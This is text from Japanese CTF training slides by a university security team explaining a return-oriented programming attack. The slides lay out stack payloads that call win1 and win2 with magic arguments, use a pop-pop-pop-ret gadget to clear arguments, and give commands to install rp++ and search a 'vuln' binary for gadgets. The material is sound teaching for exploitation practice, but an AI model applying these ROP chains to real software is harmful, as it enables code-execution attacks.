9. Attack Process2 引数が邪魔
2021/5/12
Rits Security Team
9
AAAA
win2
win1
0xcabedabf
0xbeaafeef
0xfabebade
• ここにflagを置きたいが,win2の
引数があって置けない
• win2の引数も,同理由で置けない
→引数をgadgetを使ってpop命令で
引数を除去する
flag
Arg1
of
win1
10. Attack Process2 引数を除去する
2021/5/12
Rits Security Team
10
AAAA
win2
pop3
0xcabedabf
0xbeaafeef
0xfabebade
pop3 = pop esi; pop edi; pop ebp; ret;
win1
flag
0xaaaabbbb
11. gadgetの探し方
rp++ を使う場合
How to install
How to use
あとは,cat gadget | grep pop とかで探せばよい
2021/5/12
Rits Security Team
11
wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x64
wget https://github.com/0vercl0k/rp/releases/download/v1/rp-lin-x86
chmod +x rp-lin-x64 rp-lin-x86
mv rp-lin-x64 rp-lin-x86 /usr/local/bin
rp-lin-x86 --file=vuln --rop=3 --unique > gadget.txt
バイナリ
を指定
gadgetの
最大長
おまじない